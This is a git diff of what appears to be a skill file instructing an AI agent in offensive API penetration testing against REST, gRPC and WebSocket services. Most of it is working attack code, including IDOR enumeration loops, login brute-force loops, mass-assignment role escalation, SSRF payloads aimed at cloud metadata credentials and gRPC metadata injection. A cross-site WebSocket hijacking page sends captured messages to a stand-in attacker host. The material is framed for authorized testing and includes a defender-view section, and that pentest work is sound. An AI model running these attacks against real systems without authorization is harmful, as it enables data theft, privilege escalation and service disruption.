offensive-api-security ยท diff
git:20260825.8cffe5d to git:20260825.1885f44
69 added, 212 removed. Audit C to C.
---
name: offensive-api-security
description: "Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures."
---
# Offensive API Security Testing
You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
## Quick Workflow
1. Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
2. Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
3. Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
4. Probe authorization boundaries with BFLA checks across roles and HTTP methods.
5. Fuzz parameters for mass assignment, content-type switching, and verb tampering.
6. Assess rate limiting and resource consumption controls.
7. Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
8. Evaluate WebSocket security: origin validation, message integrity, CSWSH.
9. Check for SSRF via URL-accepting parameters and webhook configurations.
10. Document findings with reproduction steps and severity ratings.
---
## OWASP API Top 10 2023 -- BOLA and IDOR
Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
- Capture a request that returns user-specific data:
-
```http
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
```
Replay with a different user ID while retaining the original token:
```http
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
```
Automate IDOR testing across sequential and UUID-based identifiers:
```bash
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
```
```bash
# Test with collected UUIDs from other endpoints
while read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/documents/${uuid}")
echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt
```
Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:
```bash
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
done
```
---
## Broken Authentication and Excessive Data Exposure
Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.
- Probe for missing rate limits on login:
-
```bash
- # Rapid credential testing against login endpoint
+ # Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
- -X POST \
- -H "Content-Type: application/json" \
+ -X POST -H "Content-Type: application/json" \
-d "{\"email\":\"test@example.com\",\"password\":\"attempt${i}\"}" \
"https://target.example.com/api/v1/auth/login")
echo "Attempt ${i}: HTTP ${code}"
[ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done
```
- Check for excessive data exposure by comparing full API responses against what the UI renders:
+ Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:
```bash
- # Fetch user profile and inspect all returned fields
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .
```
- Look for fields that should not be exposed: internal IDs, email addresses of other users, hashed passwords, role assignments, internal metadata, or PII that the client application never displays.
-
Test token validation weaknesses:
```bash
- # Test expired token acceptance
- curl -s -o /dev/null -w "%{http_code}" \
+ # Expired token, post-password-change token, malformed bearer values
+ curl -s -o /dev/null -w "Expired: %{http_code}\n" \
-H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/v1/users/me"
- # Test token after password change (should be invalidated)
- curl -s -o /dev/null -w "%{http_code}" \
+ curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
"https://target.example.com/api/v1/users/me"
- # Test with empty/malformed bearer values
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
-H "Authorization: ${val}" \
"https://target.example.com/api/v1/users/me"
done
```
---
## Rate Limiting and Resource Consumption
Test for Unrestricted Resource Consumption (API4:2023) by assessing whether the API enforces limits on request frequency, payload size, and response pagination.
```bash
# Measure rate limit headers across rapid requests
for i in $(seq 1 50); do
curl -s -D - -o /dev/null \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/search?q=test" 2>&1 | \
grep -iE "x-rate|retry-after|x-ratelimit"
sleep 0.1
done
```
```bash
- # Test pagination abuse -- request excessive page sizes
+ # Pagination abuse and large payload submission
curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/products?page=1&per_page=100000" | \
- jq 'length'
-
- # Test deep pagination
- curl -s -o /dev/null -w "Page 999999 -> %{http_code}, Size: %{size_download}\n" \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/products?page=999999"
- ```
-
- Test resource-intensive operations for denial-of-service potential:
+ "https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
- ```bash
- # Large payload submission
python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
- " | curl -s -o /dev/null -w "%{http_code}" \
- -X POST \
- -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d @- \
+ " | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \
+ -X POST -H "Authorization: Bearer $TOKEN" \
+ -H "Content-Type: application/json" -d @- \
"https://target.example.com/api/v1/products"
```
---
## BFLA and Mass Assignment
- Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative or privileged API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.
+ Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.
```bash
# BFLA: Test admin endpoints with regular user token
admin_endpoints=(
"GET /api/v1/admin/users"
"POST /api/v1/admin/users"
"DELETE /api/v1/admin/users/1001"
"GET /api/v1/admin/config"
"PUT /api/v1/admin/config"
"GET /api/v1/internal/metrics"
)
for ep in "${admin_endpoints[@]}"; do
method=$(echo "$ep" | cut -d' ' -f1)
path=$(echo "$ep" | cut -d' ' -f2)
code=$(curl -s -o /dev/null -w "%{http_code}" \
- -X "$method" \
- -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
+ -X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
"https://target.example.com${path}")
echo "${method} ${path} -> HTTP ${code}"
done
```
- Mass assignment testing -- inject properties that should not be user-controllable:
-
```bash
- # Attempt role escalation via mass assignment
+ # Mass assignment: inject properties that should not be user-controllable
curl -s -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Updated Name",
"role": "admin",
"is_admin": true,
"permissions": ["admin", "superuser"],
"account_type": "premium",
- "verified": true,
"credit_balance": 99999
}' \
"https://target.example.com/api/v1/users/me" | jq .
```
- ```bash
- # Test with additional hidden fields discovered from API responses or docs
- curl -s -X PATCH \
- -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"internal_id": 1, "tenant_id": "other-tenant", "created_by": "admin"}' \
- "https://target.example.com/api/v1/resources/5001" | jq .
- ```
-
---
## REST Verb Tampering and Content-Type Switching
APIs sometimes apply security controls only to expected HTTP methods or content types. You exploit this by sending requests with unexpected methods or by switching the serialization format.
```bash
# Verb tampering: test all methods against a restricted endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
- -X "$method" \
- -H "Authorization: Bearer $TOKEN" \
+ -X "$method" -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/admin/settings")
echo "${method} -> HTTP ${code}"
done
```
```bash
# Method override headers -- bypass method-based WAF rules
curl -s -X POST \
-H "X-HTTP-Method-Override: DELETE" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/1002"
curl -s -X POST \
- -H "X-Method-Override: PUT" \
- -H "X-HTTP-Method: PATCH" \
+ -H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' \
"https://target.example.com/api/v1/users/me"
```
- Content-type switching to bypass input validation:
-
```bash
- # Switch from JSON to form-encoded
- curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+ # Content-type switching and parameter pollution
+ curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=test&role=admin" \
"https://target.example.com/api/v1/users"
- # Switch to XML if the backend supports multiple parsers
- curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+ curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \
"https://target.example.com/api/v1/users"
# Parameter pollution via duplicate keys
- curl -s -X GET \
- -H "Authorization: Bearer $TOKEN" \
+ curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
```
---
## SSRF via API Parameters
Server-Side Request Forgery through URL-accepting API parameters allows you to reach internal services or cloud metadata endpoints.
```bash
- # Test URL parameters for SSRF
ssrf_payloads=(
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/computeMetadata/v1/"
"http://127.0.0.1:8080/admin"
- "http://localhost:6379/"
"http://[::1]:8080/"
"http://0x7f000001/"
- "http://2130706433/"
- "http://017700000001/"
"http://internal-service.local/"
)
for payload in "${ssrf_payloads[@]}"; do
echo "--- Testing: ${payload}"
- curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+ curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"webhook_url\": \"${payload}\"}" \
"https://target.example.com/api/v1/integrations/webhook" | head -c 500
echo
done
```
+ Test SSRF through import/export and profile features:
+
```bash
- # SSRF via file import/export features
- curl -s -X POST \
- -H "Authorization: Bearer $TOKEN" \
+ curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
"https://target.example.com/api/v1/data/import"
- # SSRF via profile picture / avatar URL
- curl -s -X PUT \
- -H "Authorization: Bearer $TOKEN" \
+ curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/v1/users/me/profile"
```
---
## gRPC Security Testing
gRPC services expose a different attack surface than REST. You use reflection to enumerate services, grpcurl to craft requests, and mitmproxy to intercept protobuf traffic.
- Enumerate services via gRPC reflection:
-
```bash
- # List all services exposed via reflection
+ # Enumerate services via gRPC reflection
grpcurl -plaintext target.example.com:50051 list
-
- # Describe a specific service
grpcurl -plaintext target.example.com:50051 describe myapp.UserService
-
- # Describe a specific method including request/response types
grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
```
- Invoke methods and test authorization:
-
```bash
- # Call a method with authentication metadata
+ # Test BOLA on gRPC -- access another user's data with your token
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN_A" \
-d '{"user_id": "1002"}' \
target.example.com:50051 myapp.UserService/GetUser
- # Test BOLA on gRPC -- access another user's data
- grpcurl -plaintext \
- -H "authorization: Bearer $TOKEN_A" \
- -d '{"user_id": "1003"}' \
- target.example.com:50051 myapp.UserService/GetUser
-
# Test admin methods with regular user credentials
grpcurl -plaintext \
-H "authorization: Bearer $REGULAR_TOKEN" \
-d '{}' \
target.example.com:50051 myapp.AdminService/ListAllUsers
```
Metadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers:
```bash
- # Inject internal routing headers
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN" \
-H "x-forwarded-for: 127.0.0.1" \
-H "x-internal-service: true" \
-H "x-user-role: admin" \
-d '{}' \
target.example.com:50051 myapp.AdminService/GetConfig
```
Intercept and modify gRPC traffic with mitmproxy:
```python
# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)
# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
from mitmproxy import http
- import json
class GrpcInspector:
def request(self, flow: http.HTTPFlow):
if flow.request.headers.get("content-type", "").startswith("application/grpc"):
- # Log gRPC method from path
print(f"[gRPC] {flow.request.method} {flow.request.path}")
- # Log metadata headers
for k, v in flow.request.headers.items():
if not k.startswith(":"):
print(f" Metadata: {k}: {v}")
def response(self, flow: http.HTTPFlow):
if flow.response and "grpc-status" in flow.response.headers:
- status = flow.response.headers.get("grpc-status", "unknown")
- print(f"[gRPC Response] Status: {status}")
+ print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")
addons = [GrpcInspector()]
```
---
## WebSocket Security Testing
WebSocket connections bypass many traditional HTTP security controls. You test origin validation, message injection, authentication persistence, and cross-site WebSocket hijacking.
- Test origin validation:
-
```bash
- # Connect with a spoofed origin using websocat
- websocat -H "Origin: https://evil.example.com" \
- "wss://target.example.com/ws/chat"
-
- # Connect with no origin header
- websocat "wss://target.example.com/ws/chat"
-
- # Test with matching subdomain origins
- websocat -H "Origin: https://subdomain.target.example.com" \
- "wss://target.example.com/ws/chat"
+ # Origin validation testing with websocat
+ websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
+ websocat "wss://target.example.com/ws/chat" # no origin
+ websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
```
- WebSocket message injection and manipulation:
-
```python
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
- import asyncio
- import websockets
- import json
+ import asyncio, websockets, json
async def test_ws_injection(url, token):
headers = {"Cookie": f"session={token}"}
-
async with websockets.connect(url, extra_headers=headers) as ws:
- # Test message type confusion
test_payloads = [
- # Normal message
json.dumps({"type": "message", "content": "hello"}),
- # Attempt to impersonate another user
json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
- # Attempt admin actions
json.dumps({"type": "admin_broadcast", "content": "injected"}),
- # Server-side command injection attempts
json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
- # Oversized message
json.dumps({"type": "message", "content": "A" * 1000000}),
- # Binary frame injection
- json.dumps({"type": "message", "content": "\x00\x01\x02\x03"}),
]
-
for payload in test_payloads:
await ws.send(payload)
try:
response = await asyncio.wait_for(ws.recv(), timeout=3)
- print(f"Sent: {payload[:80]}")
- print(f"Recv: {response[:200]}")
- print("---")
+ print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
except asyncio.TimeoutError:
- print(f"Sent: {payload[:80]} -> No response (timeout)")
- print("---")
+ print(f"Sent: {payload[:80]} -> No response\n---")
asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))
```
- Cross-Site WebSocket Hijacking (CSWSH) proof of concept:
+ Cross-Site WebSocket Hijacking (CSWSH) verification:
```html
- <!-- CSWSH test page -- host on attacker-controlled domain -->
- <!-- For authorized testing only: verifies origin validation -->
+ <!-- Host on attacker-controlled domain -- authorized testing only -->
<script>
var ws = new WebSocket("wss://target.example.com/ws/chat");
ws.onopen = function() {
- console.log("[CSWSH] Connection opened -- origin validation is missing");
+ console.log("[CSWSH] Connection opened -- origin validation missing");
ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
};
ws.onmessage = function(evt) {
console.log("[CSWSH] Received: " + evt.data);
- // Exfiltrate to your logging server
- fetch("https://attacker-log.example.com/log", {
- method: "POST",
- body: evt.data
- });
+ fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
};
ws.onerror = function(e) {
console.log("[CSWSH] Connection failed -- origin may be validated");
};
</script>
```
---
- ## API Versioning Attacks
+ ## API Versioning and Security Misconfiguration
- APIs that maintain multiple versions often have inconsistent security controls across versions. You probe for deprecated versions that lack patches applied to current versions.
+ APIs that maintain multiple versions often have inconsistent security controls. Deprecated versions may lack patches applied to current versions.
```bash
# Enumerate API versions
- versions=("v1" "v2" "v3" "v0" "v1.0" "v2.0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
-
+ versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
for ver in "${versions[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/${ver}/users/me")
[ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}"
done
```
```bash
- # Test version header variations
- for ver in "1" "2" "3" "2023-01-01" "2024-01-01"; do
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- -H "Authorization: Bearer $TOKEN" \
- -H "Api-Version: ${ver}" \
- -H "X-Api-Version: ${ver}" \
- -H "Accept: application/vnd.api+json; version=${ver}" \
- "https://target.example.com/api/users/me")
- echo "Version header '${ver}' -> HTTP ${code}"
- done
-
- # Compare security controls between versions
- echo "=== v2 (current) ==="
- curl -s -o /dev/null -w "%{http_code}" \
- -H "Authorization: Bearer $TOKEN_A" \
- "https://target.example.com/api/v2/users/1002/orders"
-
- echo "=== v1 (legacy) ==="
- curl -s -o /dev/null -w "%{http_code}" \
- -H "Authorization: Bearer $TOKEN_A" \
- "https://target.example.com/api/v1/users/1002/orders"
- ```
-
- ---
-
- ## Security Misconfiguration
-
- Test for common API misconfigurations that expose sensitive data or functionality.
-
- ```bash
# Check for exposed documentation and debug endpoints
endpoints=(
"/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
"/graphql" "/graphiql" "/.well-known/openid-configuration"
- "/actuator" "/actuator/env" "/actuator/health" "/actuator/beans"
- "/debug" "/trace" "/metrics" "/health" "/info" "/env"
- "/_profiler" "/elmah.axd" "/api/debug"
+ "/actuator" "/actuator/env" "/actuator/health"
+ "/debug" "/trace" "/metrics" "/_profiler"
)
-
for ep in "${endpoints[@]}"; do
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- "https://target.example.com${ep}")
+ code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
done
```
```bash
- # Check CORS configuration
+ # CORS misconfiguration testing
curl -s -D - -o /dev/null \
- -H "Origin: https://evil.example.com" \
- -X OPTIONS \
+ -H "Origin: https://evil.example.com" -X OPTIONS \
"https://target.example.com/api/v1/users/me" 2>&1 | \
- grep -iE "access-control|allow-origin|allow-credentials|allow-methods"
+ grep -iE "access-control|allow-origin|allow-credentials"
- # Test with null origin
- curl -s -D - -o /dev/null \
- -H "Origin: null" \
- "https://target.example.com/api/v1/users/me" 2>&1 | \
- grep -i "access-control"
+ curl -s -D - -o /dev/null -H "Origin: null" \
+ "https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
- # Check security headers
- curl -s -D - -o /dev/null \
- "https://target.example.com/api/v1/health" 2>&1 | \
+ # Security header audit
+ curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 | \
grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
```
---
## Detection / Defender View
- When you run these tests, you leave artifacts that defenders and monitoring systems detect. Understand what you trigger:
+ When you run these tests, you leave artifacts that defenders and monitoring systems detect:
- - **BOLA/IDOR probes** generate sequences of requests with incrementing or random object IDs from a single authenticated session. WAFs and API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.
+ - **BOLA/IDOR probes** generate sequences of requests with incrementing or random object IDs from a single session. API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.
- - **Rate limit testing** produces burst traffic patterns visible in access logs and API gateway metrics. HTTP 429 responses are typically logged and alerted on. Repeated authentication failures trigger account lockout mechanisms and SIEM alerts.
+ - **Rate limit testing** produces burst traffic visible in access logs. HTTP 429 responses trigger SIEM alerts. Repeated authentication failures activate account lockout mechanisms.
- - **Verb tampering and method override** requests with unusual HTTP methods (TRACE, PATCH with override headers) stand out in access logs. Security-conscious applications log and alert on method override header usage.
+ - **Verb tampering and method override** requests with unusual HTTP methods or override headers stand out in access logs. Security-conscious applications alert on method override header usage.
- - **gRPC reflection enumeration** is logged by gRPC interceptors. Calls to the reflection service from non-development IPs trigger alerts in mature environments. Metadata injection attempts appear in gRPC access logs.
+ - **gRPC reflection enumeration** is logged by interceptors. Calls to the reflection service from non-development IPs trigger alerts. Metadata injection attempts appear in gRPC access logs.
- - **WebSocket testing** generates connection attempts with unusual Origin headers that are logged at the load balancer layer. High-frequency message sending is visible in application logs. CSWSH attempts may trigger CSP violation reports.
+ - **WebSocket testing** generates connection attempts with unusual Origin headers logged at the load balancer. CSWSH attempts may trigger CSP violation reports.
- - **SSRF payloads** containing internal IP addresses, cloud metadata URLs, or localhost references are flagged by WAFs and input validation layers. Outbound connections from the API server to unexpected destinations trigger network monitoring alerts.
+ - **SSRF payloads** containing internal IPs or metadata URLs are flagged by WAFs. Outbound connections to unexpected destinations trigger network monitoring alerts.
- - **Version probing** creates 404 bursts across multiple URL path prefixes from a single source IP, visible in web server access logs.
+ - **Version probing** creates 404 bursts across multiple path prefixes from a single source IP.
---
## Engagement Cheatsheet
| Phase | Action | Tool |
|-------|--------|------|
- | Reconnaissance | Collect API specs | Burp Suite crawler, Swagger/OpenAPI endpoints |
+ | Reconnaissance | Collect API specs | Burp crawler, Swagger endpoints |
| Reconnaissance | gRPC service enumeration | grpcurl with reflection |
- | Reconnaissance | WebSocket endpoint discovery | Burp Suite, browser DevTools |
+ | Reconnaissance | WebSocket endpoint discovery | Burp Suite, DevTools |
| Authentication | Token lifecycle testing | curl, Burp Repeater |
- | Authentication | Brute-force resilience | Burp Intruder, custom scripts |
| Authorization | BOLA/IDOR across objects | curl loops, Burp Intruder |
| Authorization | BFLA across roles | curl with multiple tokens |
| Input handling | Mass assignment | curl, Postman |
- | Input handling | Content-type switching | curl with varied Content-Type headers |
- | Input handling | Parameter pollution | curl, Burp Repeater |
+ | Input handling | Content-type switching | curl with varied headers |
| Protocol | gRPC metadata injection | grpcurl |
- | Protocol | gRPC protobuf manipulation | mitmproxy with custom addon |
- | Protocol | WebSocket message injection | websocat, Python websockets |
+ | Protocol | gRPC protobuf interception | mitmproxy with addon |
+ | Protocol | WebSocket injection | websocat, Python websockets |
| Protocol | CSWSH verification | Custom HTML test page |
| Infrastructure | SSRF via URL parameters | curl, Burp Collaborator |
| Infrastructure | API versioning bypass | curl version enumeration |
| Infrastructure | Misconfiguration scan | curl, Burp scanner |
- | Reporting | Consolidate findings | Burp reports, manual documentation |
---
## Key References
- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- - OWASP API Security Testing Guide: https://owasp.org/www-project-api-security/
- gRPC Security Documentation: https://grpc.io/docs/guides/auth/
- WebSocket Security (RFC 6455 Section 10): https://datatracker.ietf.org/doc/html/rfc6455#section-10
- Burp Suite API Testing: https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing
- - grpcurl Repository: https://github.com/fullstorydev/grpcurl
- - websocat Repository: https://github.com/vi/websocat
- - mitmproxy Documentation: https://docs.mitmproxy.org/
- - PortSwigger Web Security Academy -- API Testing: https://portswigger.net/web-security/api-testing
+ - grpcurl: https://github.com/fullstorydev/grpcurl
+ - websocat: https://github.com/vi/websocat
+ - mitmproxy: https://docs.mitmproxy.org/
+ - PortSwigger Academy -- API Testing: https://portswigger.net/web-security/api-testing
- "Hacking APIs" by Corey Ball (No Starch Press)